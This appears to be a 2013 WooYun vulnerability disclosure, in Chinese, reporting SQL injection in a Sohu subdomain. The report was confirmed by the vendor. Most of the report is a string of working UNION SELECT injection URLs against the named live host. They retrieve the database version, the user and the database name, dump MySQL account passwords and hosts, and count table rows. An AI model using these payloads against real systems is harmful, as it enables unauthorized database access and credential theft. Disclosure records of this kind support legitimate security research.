漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2013-037338
漏洞标题:搜狐某分站SQL注入漏洞之二
相关厂商:搜狐
漏洞作者: 肉肉
提交时间:2013-09-17 09:07
修复时间:2013-11-01 09:07
公开时间:2013-11-01 09:07
漏洞类型:SQL注射漏洞
危害等级:中
自评Rank:7
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2013-09-17: 细节已通知厂商并且等待厂商处理中
2013-09-17: 厂商已经确认,细节仅向厂商公开
2013-09-27: 细节向核心白帽子及相关领域专家公开
2013-10-07: 细节向普通白帽子公开
2013-10-17: 细节向实习白帽子公开
2013-11-01: 细节向公众公开
简要描述:
搜狐某分站SQL注入漏洞
详细说明:
注入点:
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821
http://zhuanti.club.news.sohu.com/user_webpage/modify_content_form.php?kindid=125819
应该是一个后台,可以越权访问,但不能越权操作
字段数为28
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
数据库版本:
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,version(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
mysql 4.0的数据库,=。=,比较坑了。。。
当前用户:
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,user(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
当前db:
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,database(),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28
数据库密码:
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,concat(user,0x3a,password),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from mysql.user limit 1,2
还可以得到一些数据库用户密码和host
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,concat(user,0x3a,host),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from mysql.user limit 2,3
根据文件名可以猜出2个表名:content和kind
每个表都有几十万的数据
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,count(*),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from content
http://zhuanti.club.news.sohu.com/user_webpage/del_kind_form.php?kindid=125821%20and%201=2%20UNION%20SELECT%201,2,3,4,count(*),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from kind
然后就没有深入啦
漏洞证明:
和上面一样
修复方案:
1.应该是不用的站点了吧,直接关闭就行了。
顺便,求小狐狸公仔=。=
版权声明:转载请注明来源 肉肉@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:15
确认时间:2013-09-17 09:24
厂商回复:
感谢支持,请私信地址,有礼物送:)
最新状态:
暂无